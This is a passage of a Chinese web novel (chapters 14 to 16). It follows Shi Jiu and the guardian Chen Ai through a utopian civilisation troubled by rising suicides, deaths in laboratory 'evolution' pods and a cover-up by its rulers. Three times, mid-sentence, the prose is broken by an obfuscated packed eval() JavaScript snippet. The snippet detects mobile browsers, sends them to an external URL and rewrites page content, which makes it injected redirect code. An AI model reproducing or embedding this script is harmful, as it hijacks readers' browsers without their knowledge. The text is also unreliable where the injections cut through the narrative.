沉皑站起来,皱着眉说:“不知道,我过去看看。” 他也离开了,没走几步,想起来什么似的,停下脚步微微偏头:“你跟我一起。” “我能拒绝吗?” “不能。” “哦。” 外面好些人都在疾步走,四面八方压抑紧张的空气侵袭而来,每个人都行色匆匆。 广场门口的地方拉了警戒,救护车和警车在旁边停着,也围了一些人。 时咎跟着沉皑的步伐,一刻也没停。 “怎么一个人出事,这么多人在这。”时咎问,觉得这紧张严肃的氛围有些过了。 “嗯。”沉皑轻声答应,想到什么,跟他解释说,“我们的文明,自杀是一件几乎不可能出现的事,很长时间可能才一起。” 他似乎终于接受了时咎是来自于梦外的另一个世界,开始选择正常解释了。 时咎轻轻松口气,至少之后不必再在这个问题上纠结,他就有更多时间探索他想知道的事了。 时咎自嘲般笑道:“我们那儿,自杀是一件很平常的事,那么大的地方,那么多的国家,每天都有人抑郁,每天都有人发疯、自杀,或是杀人。” 沉皑斜着眼睛看了他一眼,像在说:这么水深火热是怎么生活下去的。 时咎耸肩:“不过也看地方。贫富差距悬殊,穷人和富人生活的完全是两个世界,双方彼此都无法想象对方的生活,穷的地方,不仅杀人和自杀,可能连选择权都没有,根本活不到让他们还有能力自杀的时候。”说到这,他深呼吸一口气,肺里瞬时充满草香的轻盈,他轻松地说,“我嘛,比较幸运,我出生的地方是一个安全富足的国家,至少,我生活的那一块地方让我从不担心出门被绑架,走在路上被雷劈,吃不饱穿不暖,也许是有酒肉臭,但很少有冻死骨。所以我还能安心地追求我的精神需求,做我的作品,再去帮助那些有困难的孩子和老人。” 他的脸上少有露出这么放松愉悦的神情,好像很信任他所说的那个世界。沉皑淡淡道:“你很喜欢你生活的地方。” “当然。” 两个人到达的时候现场处理得已经快差不多了,人群散了大半,季水风带了两个人开车离开,听旁边的人说是要去自杀者的家里。 现场留了些人在清理血迹,有人看到沉皑便朝他轻轻欠身。 听目击者说是一个男人突然在街上狂奔,手里拿着刀,一边跑一边捅自己,刚好跑到广场的时候他倒下了,所以血迹断断续续蔓延了一路。 时咎看着这夸张的蜿蜒,血流得像一条细小却幽长的河,皱眉问:“是不是患有某种精神疾病?” 沉皑看着那些忙碌的人,到嘴边的话始终没出口,只是低声说:“不知道,也许是。” 这很不寻常,对于恩德诺这样的文明来说,有人自杀,约等于平地起惊雷。连文明中心正在处理的人似乎也总是一副不太相信的样子,他们会彼此表达对这件事的惊讶。 “前段时间也有一个自杀的人,我记得季小姐大晚上在一栋居民楼顶楼找到他的。” “我好像听说那件事,但那不是他捅了人,自己跑掉,跑到那个顶楼去自杀的吗?” “对,哎,后来调查出来这两个人之间没有任何关系,好像是自杀的那个突然就发疯了,街上随机抓的人捅。” “怎么回事啊这种事?有查出精神病史吗?” “没公布。” “今天有个小孩也在街上自杀了,最近越来越多,你们说,会不会是……” “嘘!别说出来!不吉利!” 沉皑原地站了一会儿便准备离开,时咎跟了上去。 他想起前一段时间,他被沉皑抱着去安全管理中心的时候,昏迷期间听到的那段对话了。 他猜,刚刚那个人是想说虚疑病。时咎记得很清楚,他也记得在那间牢房里突然扑上来说“不要相信任何人”的青少年。 两人朝起源实验室走去,路上,时咎问沉皑:“为什么自杀是一件几乎不可能的事?因为你们的犯罪率极低?和思维透明化有关?” 沉皑应了一声,看上去并不太想解释,所以已经走出去好些距离,走到快听不到后面人群的声音,又才开口慢慢道:“有关,是基础,但不是最终结果。” “公民之间存在极大的信任和友好,虽然一开始并不是这样。当我们的文明意识到时间快要走到尽头,所有人都是命运共同体的时候,一切开始触底反弹,经济增长提高工资水平,高收入又让公民们保持健康和普及教育,物质需求满足后,剩下的都是精神需求。” “我们的先祖做过很多伟大的事情,这导致后来公民的经济文化水平相差不是天壤之别,公民们自由做自己想做的事,同时不再需要提防他人的叵测之心,每个人都在为了自己活着,也祝福别人的生活,在‘活着就是体验幸福’的教条里,没人会选择死亡和战争,也没人想犯罪,大家知根知底。” 时咎第一次听到沉皑一次性说这么多话,心里感觉有些异样,果然长期针锋相对下,突然归于和平,就连正常相处也会变得受宠若惊。 “啊……”时咎做出大概明白的表情。但也只是大概明白,因为他想象不出来那是什么体验。 想到这儿,他有些无奈地自嘲。在他更小一些的时候,会经常做思维训练,当然是被父母教育的结果,他被要求去细致觉察自己的一切感知,后来父母发现了他不同寻常的觉察能力,并且自己的专业是艺术创作相关后,他们开始培养他的多套思维方式的能力。 他想到总有一些是他完全无法认同也无法苟同的事,他不理解别人纸醉金迷的生活方式,不懂为什么有人可以在公司上班一辈子只为攀爬到某个职位拿一个稳定固定的工资,为什么这本书的主人公这样,那部电影的情节发展好怪。 但他的父母告诉他,一切不理解、不明白、不懂,都是他自己的原因,当他因为别人和别人的行为产生了情绪,首先是自己的原因,是自己的经验和需求在对别人进行不合适或者错误的解读。 他匮乏的想象力,并不能完全想象出这样的环境下,人们的心态与历史的发展。 “那国家之间也没有利益往来?”时咎问道。 “什么国家?” “就是国家啊,不同经济体系和政权体系的国家。” 沉皑愣了一下,想了一会儿才明白过来,他淡淡道:“恩德诺,就是一个国家。” 他们路过广场的绿化带,石碑上的字在阳光下如同海的波澜,一圈一圈温和地荡着涟漪。 “什么?”时咎停住脚步,伸手遮住阳光,看了一眼石碑上的字,结果见沉皑并没有等他,便又快速追了上去。 沉皑轻声说:“我说,恩德诺这个星球,只有一个国家,就是我们的文明。” 时咎半晌没说出话,这是他从未设想过的回答。 眼前已经是起源实验室的门,沉皑走过去,门口的人很恭敬地向他行礼,连带着也对时咎行礼。 “沉先生。” “嗯。”沉皑微微点头。 一楼走廊的人不少,大多是一些看上去相对稚嫩的青年,是来参加“成人礼”的。有不少目光瞥过来,但看见沉皑的时候,他们都不约而同选择停止正在说的话,轻轻垂下眼帘,微不可察的鞠躬的姿势。 起源实验室整个构造像一个巨大的“回”字,绕一整圈下来,应该也需要走很长距离。这栋楼的美学设计并不怎么优秀,也许是实用功能为主的建筑,内部方方正正、一丝不苟,清水混凝土一般极简。 走廊尽头的墙上有钟,钟表走的速度是和记忆里的一样。旁边是可以看见外面的窗户,太阳阳光也是一样。 他以前听说过一个说法,梦也是某个平行时空,只是在某次做梦的时候,脑电波对上了某个时空那个自己的脑电波,于是交换梦境,对方的梦是自己的现实,而对方的现实,则变成了自己的梦。 不过这依然无法解答时咎的疑虑。 过了一楼的转角,走到内部人员专属区域,人便少很多了。 “刚刚有个小女孩,她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14187306|150709||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的裙子很漂亮。”时咎突然说。 沉皑:“什么?” 时咎往刚刚来时的方向指了指,重复道:“刚刚进来,那边队伍里有个小女孩的裙子,上面图案是斐波那契数列的海螺,色彩的虚实设计、机理也很漂亮。” 他好像有些意犹未尽,甚至转头再去看了一眼,但只看到了建筑冰冷的转角。 沉皑没回答他。 进入电梯,密闭的空间压缩着空气,运转的声音也隐隐在耳边。时咎转头看着沉皑的侧脸,打破了持续一会儿的沉默:“你们这儿的人,他们彼此信任什么呢?” 沉皑没回头看他,只是看着电梯玻璃里倒映出的时咎的虚影道:“所有。” “嗯?” 电梯到达,两个人走了出去,眼前是熟悉的、笔直铺开的长走廊。 沉皑说:“和你刚刚对你生活的地方描述一样,除了对彼此坦诚的信任,还有对活着本身的信任。时间久了,大家会忘记活在某个地方本身就是幸运,没人会怀疑自己呼吸的空气里有毒,不会想起此刻在街上悠闲走路、而不是躲避别国侵略被迫逃亡是一种对国家的信任。一直拥有着就觉得理所当然,除非有一天它们消失了[2]。但这些东西,确实从恩德诺消失过,所以后来才这么珍惜,他们也深信彼此。” “即使是陌生人?” “嗯。” 时咎跟着沉皑进门,坐在沙发上还在问:“大家都互相信任,那是不是所有的人都互相是朋友?” 沉皑把文件拿出来,结果最上面放的还是那串写着字母的纸,时咎眼尖地看见了。 “可以是朋友,也可以不是。虽然思维透明了,但他们是自由的,他们对自己有限制,对他人有边界。”沉皑把纸又重新放回抽屉里,见时咎还想问些什么,他先打断了,“如果你对恩德诺的历史有兴趣,可以去市立图书馆。” 时咎点头,片刻,他问:“虚疑病……” 这三个字还没说完,沉皑打断了他:“去图书馆查!” 他在回避这个话题。时咎能感受到,于是他换了话题问:“你对我生活的地方没兴趣?” 沉皑不置可否,他凉凉道:“因为你说这是你的梦。” “你不能接受这句话?” 沉皑抿了下唇,迅速在文件签字处写下自己的名字又换了一张,脸上没什么表情地说:“接不接受都一样,你可以当我只是你梦的一个组成部分,但我有自己的经历、认知和记忆,这就是我的现实。” 沉皑突然想起,他抬头对时咎说:“另外,你要是想探索,就自己随意去,不过一旦我发现你存有什么心思……” 时咎挑眉,啧,这脖环依然是他的夺命环。不过他突然觉得,这位蓝眼睛的家伙,如果不同他剑拔弩张,好像也没那么坏。 “喂。”时咎叫道,他走到办公桌边,半俯身,那目光里总是似有似无的挑衅,“我之前掀你桌子,企图杀你,你真不生气?” 沉皑淡声:“嗯。” 时咎知道如果产生情绪,首先是产生情绪本人的波动,但他无法想象一个人无论如何不产生情绪会是什么样——对一切都无感,对一切置身事外,完全客观地看待自己的经历,也完全理解别人的经历。时咎不知道是哪一种。 时咎的表情有些不怀好意了,他轻声说:“那如果我现在把你看的这些文件撕了呢?” 沉皑依然是毫无波动,只是惯常的冰冷:“如果你觉得我现在对你太仁慈,我也不介意让你永远处于麻醉状态。” 时咎:“除了麻醉没有别的方式了是吗?不能和平共处是吗?” 沉皑放下笔,直视他,道:“我有没有说过你胆子很大?” 时咎回想:“有吗?有吧。” 沉皑接着说:“你是不是始终没搞清楚,不能和平相处的原因在你。” 时咎:“啊……” 时咎打算走,但踟蹰着,又返回来多说了一句“我会尝试改变‘这是一个梦’的惯性思维。” 沉皑签字的手停顿,旋即重新下笔。 时咎终于获得了自由,在他遇到沉皑这么久之后。 他想去图书馆找点资料。他必须要知道这一切发生的原因,他与沉皑到底有什么关联? 当两人不再剑拔弩张,这个问题像刺一样延伸出来了。 “还有一件事。” 在时咎准备离开之际,沉皑抬头,他放下笔,随意靠在椅子上说:“你上次说你会大提琴。” 时咎回头:“怎么?” 沉皑非常理所当然:“我想听。” 时咎满脑子问号:“你是不是有病?我去哪给你弄大提琴?” 沉皑轻描淡写:“那是你的问题,没有金纸……货币,可以来找我拿。” 不是,他是不是该看看心理医生?时咎觉得莫名其妙的,但紧接着他听到沉皑说:“我不是在给你表达愿望,这是我的命令。” 行。 15. 第 15 章 春天的雨下得忘乎所以,湿润的空气刚刚得以喘息,下一场雨又来了。海安市的绿化做得不错,一眼望过去绿是绿得很,但生机并没有计划来得多,到了高墙耸立的地方,越是绿,越是显得失去希望。 时咎前段时间收到一封信,是邀请他去海安监狱为一些犯人做音乐治疗的,作为一个勉强也是蹲过监狱的人来说,他没有犹豫多久就答应了,但看着那些高墙,还是觉得不寒而栗。 和梦中不一样,现实里的监狱人不少,并且精神状态各不同,患有精神疾病和有情绪困扰的人的资料整理出来,厚厚一摞。 时咎带了他的大提琴和手鼓,监狱里也准备了一些。 “我们这儿有些重刑犯,判了重罪后后悔了,有的则是接受不了失去自由的生活,在监狱大打出手,对自己、对别人都失控了。总之,精神出现问题的原因各不相同。”管理人员向时咎介绍,给他看一些犯人的资料。 放火烧死一家人的;两个陌生人在街上从口角变成杀人的;入室抢劫被发现干脆杀人灭口的;为了赚钱操控股市的;被威胁奋起反抗却被判了防卫过当的……资料里尽是那些所有普通人在情急之下如果多走几步,也会坠落的深渊。 时咎一边翻着,一边说:“我想一会儿让他们听一些大提琴曲,聊聊感受,然后我会做一些意象分析。之后需要每个人一个手鼓进行节奏互动。但是,矫治精神的医学音乐治疗,做不到长期有效,当下缓解了,之后需要维持。” 管理人员点头:“是,我们相关人员有考虑这一点,定期会通知你。” “嗯,我等下会引导他们去体验情绪、辨认情绪、表达情绪、觉察他人情绪、通过别人的评价再适当调整自己的情绪……[3]”说到这儿,时咎突然停顿下来,他想到了蓝眼睛那家伙。 那个人和这些如出一辙的症状,他突然好奇沉皑是如何做到无知无觉无察,好像那个躯壳里,住着的只是一个接收与发送指令的机器,但却又不能完全解释清晰,因为他会主观能动地去思考“你在生气”,也会问“你头不疼了?”。 好像是,浑身疼的时候吃了一颗止痛药,身体依然痛着,却感受不到了。 时咎想,沉皑有病,有机会也给他做做音乐治疗、心理治疗吧。 两个人的战斗终于结束了,时咎终于没有在睡着后又被打一剂麻醉再次睡着了。沉皑也不管他的突然出现,大多数时候只是看他一眼,便任他自己游荡。 但由于时咎多次被人撞到从沉皑的办公室出来——其实没人会选择非议沉皑,大家只是默默看着,了然于心,不会谈论也不妄议。但舟之覆除外,他知道时咎频频出入沉皑办公室后开始在起源实验室疯狂散播谣言。 “嗯……我没关几天,是舟先生又提前把我放出来的。”江遂带着沉皑在起源实验室大楼里到处走。 时咎本来想去图书馆,下楼凑巧就遇到了江遂,他想着找一个至少说过话的人,也比完全的陌生人自在一些,便问江遂可不可以带他看看起源实验室,江遂直接答应了。 一路上时咎一直在收到一些奇怪的目光,这些人虽然不会打量沉皑,但是能心安理得打量时咎,这种打量多是好奇。 时咎:“你有没有觉得,总有人在看我?” 江遂回头,恰好与身后的视线碰上,于是他默默扭回头说:“是的,因为听说时先生和沉先生……”说到这儿,他住嘴了,不敢多说。 “嗯?”时咎追问,“我和谁?沉皑啊?怎么了?” 江遂紧闭嘴摇头。 “到底怎么了?”时咎问。 江遂还是摇头:“没,没事的,就,我不知道!” 时咎不耐烦:“快说!” 江遂脸都快胀红了,又磨蹭好长一路,才磕磕巴巴地说:“最近有传言说,您和沉先生,呃,是,是那种关系。” “那种关系?什么关系?”时咎完全摸不着头脑。 江遂立刻摆摆手:“我不知道!反正,大概,可能,是想说您和沉先生,那个,不正当地在一起……” 时咎挑眉:“谁说的?” 江遂吓死了,害怕时咎生气,回头沉皑知道了拿他问罪,于是连忙脱责:“都,都这么在说,但是,那个!是,是舟先生最开始说的!我们可不敢造谣沉先生!” 时咎:“……” 时咎疑惑:“他是不是喜欢沉皑?” “啊?”这下轮到江遂懵了。 时咎说道:“他怎么一副‘你不正眼看我,我就要用尽一切办法让你注意到我’的样子?总跑出来刷存在感?” “呃。”江遂不敢说话,他和时咎不一样,谁的坏话他都不敢说,谁都不敢直呼其名。 时咎忽略了隐隐约约的目光,安心逛自己的大楼。 “这边是安保休息区。”江遂平复心情后,终于又重新介绍起来。 “下面三楼都是进化室,上百个房间,四楼五楼就是办公室了,六楼是档案馆。” “起源实验室的工作人员也有好几个等级,权限最高的只有舟先生和沉先生,在这儿被称作‘看守者’;然后是监察者,对一切进化进度负责;下面的就是前三楼的人员:操作人、操作人助手、实习操作人,呃,我就是实习;再下面不能参与操作的是记录师,要整理所有人的档案,记录备份每个人的进化资料;最后是安保。” 江遂一边想一边说:“我不知道您想做什么,但是除了安保,其实起源实验室的每个职位都需要一些专业性的东西,如果您不曾学习过,或许……” “我不想做这些,我只想了解,谢谢你为我介绍。”时咎打断他的话。 江遂松口气,正要再给他介绍一些东西,迎面走过来几个操作人,他们走得匆忙,以至于没注意撞倒了江遂,这才反应过来把他扶起来着急说:“江遂啊?沈向南刚刚还在找你!你快去二楼B34实验室。” “发生什么了?”江遂问。 那位操作人小声说:“有个孩子,在操作过程中死亡了,沈向南想隐瞒下来,结果刚好一位监察者经过,立刻向沉先生上报了,所以沉先生也过去了。” 他以为他声音很小,但时咎听到了。 江遂不明白为什么这样要找他去,但是他的学习一直跟着沈向南,所以还是立刻对时咎说:“对不起时先生,我得过去一趟,不能陪你了。” 时咎点头:“嗯。” 江遂急匆匆离开了,本来时咎想拿着名为沉皑的万能通行证再自己到处看看,忽的想起刚刚的操作人说沉皑也过去了,沉思片刻,便也往B34去了。 时咎找到B34的时候刚好前面有人进去,门还没完全关上,时咎顺手挡住了门,成功进入。 进化室里只有几个人但都没说话,也没人动,气氛凝固成水泥,只有沉皑亲自在检查躺在进化舱里的人。 惨白的灯光明晃晃的,晃得人心惶惶的,此时连呼吸都是一种吸引注意力的手段,但没人想引起看守者的注意,便不约而同屏住了呼吸。 短暂的死寂。沉皑起身站直身体,目光迅速环视面前几个低头缄默的人,却在门口看到了时咎,视线停滞一瞬,便又收回了。 “脑死亡,是操作失误。”沉皑冷冷地说。 沈向南冷汗直流,口唇发白,生怕看守者再多问一句。 结果多的那一句到底是问了出来。 “你是怎么通过考核的?” 沉皑对沈向南印象不深,这里的操作员上百人,很少一部分他有些眼熟,沈向南也是其一,但也仅限于当初他进来时,是舟之覆带着他进来的,所以虽然权限不算高,但还是得到了一些末梢的权利感。沉皑没有太管这些,因为觉得舟之覆这个人再不靠谱,也是掌权者亲允的看守者,至少在工作上是有底线的,再者沈向南还没出过什么差错,呆了几年也开始自己带实习生了。 但自从上次在掌权者大厅里,舟之覆没事找事之后,沉皑对舟之覆的人品重新画上问号,他把这些事当成了自己宣泄的工具,而沈向南刚好又出问题了,很难不旧事重想。 沈向南的嘴唇直哆嗦,话也说不利索:“我,我,我……” 沉皑没有耐心听他哆嗦完,转头对记录员说:“一会儿把他的完整资料送到我办公室。” “好。” “啧。”时咎站在后面,发出轻微的只有自己能听到的声音,他觉得很奇怪,为什么沉皑要去问这个操作人是怎么通过考核的? 沉皑转头看了一眼躺在进化舱里的少年,那个少年刚20岁,早些时候还有生命体质,现在则完全消失。在生命逝去的这短短时间里,他的模样发生了一些变化,从富有生命力的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14187307|150709||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 少年,变成脸上毫无血色的死物,紧接着,脸部的轮廓越来越柔和,最后变成了一个少女模样。 他生物褪形了,或许跟百年来的基因改造有关,有一部分人在死后会出现褪形现象,男人变女人,女人变小孩,但这种情况不多见。 沉皑微不可查的叹了一口气,手轻轻覆盖上去,摸了摸她干枯的头发,又用温热的掌心盖住她的眼睛。 那是一种怜悯和悲痛。时咎突然感觉到了心脏骤缩,也跟着心痛起来。 他以为不会从沉皑的眼里看到情绪的,但那些心痛,确实又流淌了出来,无论是不自觉的,还是他认为此时该心痛。 这个人,到底是…… 直到沉皑走到身边,时咎还在想事,沉皑侧过头对他说:“你在这做什么?不走?” 时咎回过神,对上了沉皑的眼睛,但现在又什么东西都没有了。 “走啊。”时咎一副无所谓的样子说。 沉皑在前面走得很快,时咎稍稍加快步伐才和他刚好一致,时咎侧头看着沉皑的头顶。 最多半个头的身高差,不至于全部差腿上吧? 时咎想到沉皑问沈向南是如何通过考核,觉得有些奇怪便问:“为什么要看那个人的资料?” 沉皑脚步没停,却也没回答,时咎没继续问,只觉得不太对,当时在掌权者大厅看到他们几个打架的时候就想问了,只是现在继续问,却显得不合时宜。 办公室里,记录员很快把资料送上来了,沉皑翻看着。 时咎跟着在办公室里踱步,绕着一圈一圈地走,但一点都没影响到沉皑,他像自带屏蔽场,能屏蔽一切他不想注意到的杂乱。 想了半天,时咎还是两只手拍上了书桌。 “喂,蓝眼睛的,我跟你说个事。”时咎说。 沉皑注意力依然在资料上,毫不在意地回答:“说。” 时咎走到沉皑旁边,背过身靠在桌沿边:“我突然想起个事情,不知道你知不知道。” 沉皑没打断他,于是时咎说:“我第一次梦到……我第一次来这的时候,也是在那个进化舱里,操作人刚好也是刚刚那个人,但是我被判定不合格所以应该是要被送去教化所。那是我第一次接触这里,很多事不了解所以没有关注也没有说,但是这段时间,你跟我说恩德诺文明的幸福度很高,自杀几乎是不可能的事,我自己的体验也确实如此,但是……” 时咎回忆了一下当时的场景,那是一个很大的房间,和今天见到的房间差不多,只是规格大一些,现在寻迹再回到那里,整件事就冲突起来了。 时咎继续道:“我当时还在昏迷,不过已经能听到他们说话了,只是他们不知道,如果我没记错的话,他们当时在说……” 沈向南的声音:太多了,不太对劲。我去通知一下舟先生,你在这儿看好这些打过麻醉的人,你跟我一起。 江遂的声音:好。 那些雨后杂乱的泥泞纷至沓来,记忆涌出,时咎闭上眼,慢慢复刻着当时听到的声音:“需要处理的有37个人,有4个在没进入进化舱之前自杀了,有2个在进化过程中死亡。” 沉皑猛然顿下手里的动作,终于抬头看向时咎,眼里是不可置信,两个人的目光紧紧交织在一起,不躲不藏,静默到只能听见空气的流动。 随后,沉皑的眸子暗淡下来,他不自觉压低了嗓子,说:“时咎,这不好笑。” “你以为我骗你?”时咎觉得这反而很好笑,他冷哼了一声。 沉皑只是看着他,没有发表看法。 “算了我跟你明说吧,我不知道你经历过什么,让你对周围人,特别是我的信任这么薄弱,但是我现在不想跟你藏着掖着,我没有动机做这些事,说这些事专门来骗你?搞笑,把我当什么人?我允许别人对我说谎,但是我不想对别人说谎,我不是舟之覆,没那么癫。” 沉皑看着他,深蓝色的眼睛里还有阳光的倒影,深沉得像望不到底的宁静。 时咎看上去很气馁,其中还有一些烦躁,但他很快就把这些东西淡化掉了。时咎想:是我忽然有了对他信任我的需求,所以才不爽,可我为什么需要他信任我?他不过是…… 沉皑突然开口说:“对不起,以后不会了。” 还在给自己做心理工作的时咎:“……啊?” 16. 第 16 章 时咎讶异于他如此轻易能低头的道歉,原本以为,沉皑这样的人,即使真的有问题也不会承认,反正没人会忤逆他,就连自己的出现,应该也是意料之外的。 但沉皑的表情很快恢复正常,他放下手里的笔,想到时咎说的话,又眉头紧蹙。 一批人里不合格的无论如何也不可能多达37人,超过10个都应该引起重视,但不合格不归他管,所以这个信息舟之覆应该是知道的,他没察觉不对? “你也觉得有些过分了是吧?”时咎也揭过上个话题,他问,“所以你们判定不合格的标准是什么?” 沉皑说:“体内是否有潜在传染病病毒。” “什么疾病?” 沉皑突然没说话,时咎也不说话,就等着,等到他觉得沉皑也许不会回答了,对方却突然又开口。 他声音有些沙哑说:“虚疑病。” 果然。 时咎刚想继续发问,沉皑站起来,打断了这个问话。 “你要出去?”于是时咎换了一个问题。 “嗯。”沉皑将资料放进抽屉,便要离开,但偏头看到依然靠在桌边的时咎,张了张嘴又闭上,最后还是淡淡地对他说,“没事别乱跑,累了就在我办公室休息,沙发抽出来可以当床,被子也在里面。” 说完他就走了,留时咎一脸惊异。 这个人,怎么每次都和想象中不一样? 时咎也不把自己当外人,真把沙发抽出来,刚要整理被子,就听见敲门声,没敲两声门就开了,外面露出舟之覆吓了一跳的表情。 舟之覆的伤基本恢复好了,又是那一副下巴抬到天上的表情,他没进来,只探头看了一眼办公室,惊讶地说:“沉皑不在?啊,你都住他办公室啦?” 时咎突然想起现在外面的传言,不想回答他。但舟之覆哪管别人的心思,他自顾自说道:“哇哦,大新闻啊!” 时咎哼了一声,冷漠嘲讽道:“哇哦,舟先生,你要是喜欢沉皑,找他发癫去,我没兴趣陪你玩。” 舟之覆眨眨眼,看向时咎,眯起眼睛笑,摆了个自以为风情万种的姿势。 时咎无意瞥他一眼,觉得可惜了。因为之前见舟之覆是他被打得满脸血的时候,看不清模样,现在再看,即使是匆匆扫一眼,也可以发现这个人长得确实很漂亮,轮廓分明但柔和,跟沉皑那种硬朗的线条不一样,而且五官精致,眼尾微微上扬,鼻子嘴巴都温婉,留着长发气质更中性一些。 但凡是个哑巴,时咎都会少翻他一个白眼。 接着舟之覆夹着声音说:“你在说什么?我不喜欢沉皑,我喜欢的是你呀!” 门“砰”的一声关上了,外面传来舟之覆似乎被打到鼻子的吃痛声,和他的大喊:“你也太凶了!” 办公室外面依然是阳光充足,广场上人很多,他们行色匆匆,有的人也从容不迫,幸福总是大于不安的。 沉皑站在掌权者办公室门外等了一忽儿,秦昼永出来了,他微微弯腰对沉皑说:“沉先生,掌权者请您进去。” “嗯。” 掌权者办公室是一个普通的不大的地方,在掌权者大楼顶楼,从环落地窗可以看到整个文明中心以及城市的远处。大楼和旁边的文明科学研究院形成文明中心最高的两栋建筑,像一对双子塔,但科研院略微比这里还高一点。 办公室透亮,所有窗帘都拉开了,把整个房间都照得清清楚楚。 沉皑走进来,看到坐在办公桌边的人——一个六十岁左右、气闲若定的男人。 他看见是沉皑,竟也不知从何说起,只能沉默片刻,缓慢道:“我还以为你不会再来找我。” 沉皑没有什么表情,只淡淡地直接说他要说的事:“第一是最近公民自杀率上升,第二是起源实验室进化死亡率和不合格率很高,前段时间,有一批人多达30多个,不合格的部分不归我管,舟之覆通知你了?” 男人的动作很慢,但每一个都非常有力,像餍足的猛虎,他点头,铿锵有力道:“说过。” “为什么不查?”沉皑冷冷说。 男人看着沉皑,随即无奈地扯出一个笑容,摇摇头:“死亡与不合格,都是日常会发生的事,每次都要查,难道每天都派人去查吗?” 沉皑皱眉,刚刚冷漠的语气更冰了:“言威,你觉得正常?” “怎么不正常?有时候高,有时候低,那是人,不是设定了固定数值的参数,有什么不正常?公民生活幸福就长寿,不幸福就会自杀。” “另外公民进化成功的概率只是接近百分百,但不是完全百分百,所以几千几万个人里出现两个人失败,不正常吗?”言威的语气还是很轻松,他并没有觉得这是什么大事。 而沉皑双手则拍上了办公桌,发出剧烈的声响,他忍着怒气说:“言威!” “你跟我发脾气也没用!”言威打断他的话。 气氛突然剑拔弩张,两个人谁也不肯让谁,言威的话让沉皑觉得难以置信的愤怒,而言威则是不怒自威,他慢悠悠说:“你就是想得太多,总是把本来不必要的事搞得所有人都不愉快。” 沉皑咬牙道:“你有没有想过虚疑病重来?” “嘘。”言威阻止他说下去,“这种事你跟我发脾气说就算了,若是被公民听到……” “公民有权利知道真相,如果你不查,我会亲自查。” 言威冷笑两声,随意道:“你查吧,总之你们姓沉的都是心怀苍生,也不管这掌权者位置上坐的是我还是你,不知道的以为你才是掌权者呢。” 沉皑深呼吸,没让自己继续愤怒,而是很快平静下来,他没有再多说什么,盯着眼前的中年人,转身就走,身后的人也没有做声,看着他离开,最后有些无奈地叹气。 沉皑走到门口,和迎面进来的舟之覆正好打了个照面。 “哟?”舟之覆吹口哨。 沉皑没理他,只是黑着脸从他旁边经过,结果经过的时候听到舟之覆在他耳边声音很小地说了一句:“你办公室里的小情人好辣,可不可以让给我?” 沉皑一拳就挥过去了。 刚刚恢复不久的脸很快肿了起来,舟之覆捂着疼得不行的侧脸向言威告状:“沉皑打我!” 言威看了他一眼,无语道:“是你出言不逊。” 舟之覆很生气:“我就看不得这些人对他恭恭敬敬的样子,不贱他两句我不舒服!” 言威叹气,把话题转开了:“沉皑问起不合格率和死亡率的事了,你自己去查一下、处理一下,数量是有些多了,能解决就解决掉,免得他总是打破砂锅问到底,麻烦。” 舟之覆冷哼,他说:“你知道他是个麻烦为什么不直接杀掉他?” 言威突然猛拍桌子,把舟之覆吓了一跳,他严厉道:“注意你的言辞!” 舟之覆心有余悸地拍拍胸口,在言威看不到的地方翻了个白眼,阴阳道:“好好好是我的问题。反正沉皑才是你的亲儿子,他是被流放到起源实验室、纡尊降贵才和我平起平坐的看守者。” 言威不想跟他说话,没有一个省心的,他捂着额头指了指门。 “好,我滚。”舟之覆说。 与此同时,在文明中心外大城 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14187308|150709||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 区走到第二家乐器店的时咎推门进入。 店里都是他不认识的乐器,文明的不同,对艺术的细节构造也有些许不同。 时咎问:“您好,请问有大提琴吗?” 提到这个,时咎就是一肚子火,不是愿望,是命令?知道的知道这是他的梦,不知道的,以为他是沉皑的黑奴。 店员从前台走过来,脸上是清淡的微笑,他说:“抱歉,您可以再说一遍吗?” 时咎重复:“有大提琴吗?” 店员露出疑惑的表情,不太确定地问:“不好意思,那个,大提琴,是什么?” 时咎愣在原地。 他去的第一家乐器店给出了同样的答案,但是第一家乐器店的老板看上去非常年轻,时咎怀有侥幸心理觉得,或许,可能,大概,有年轻人不知道大提琴?便想着换一家询问。 还是同样的答案,他们不知道大提琴是什么。 时咎抿唇,再次确认:“一种低音拉奏乐器,没有吗?” 店员觉得这位顾客的表情过于凝重,于是他说:“您稍等。”说完他转身去前台查资料。 时咎听着那噼里啪啦的键盘声,荧幕的光映在店员的脸上缓缓滑动。 片刻,店员直起身子说:“抱歉先生,您是不是记错了?没有大提琴这种乐器。” 恩德诺没有大提琴这种乐器,只有地球才存在。时咎最后还是跑了几家乐器店,但得出的结果都是一样的。 时咎走在街上有些恍惚,一个不存在的东西,沉皑是怎么知道的? 沉皑匆忙回到办公室的时候原以为时咎不在,但他竟然在沙发床上躺着。 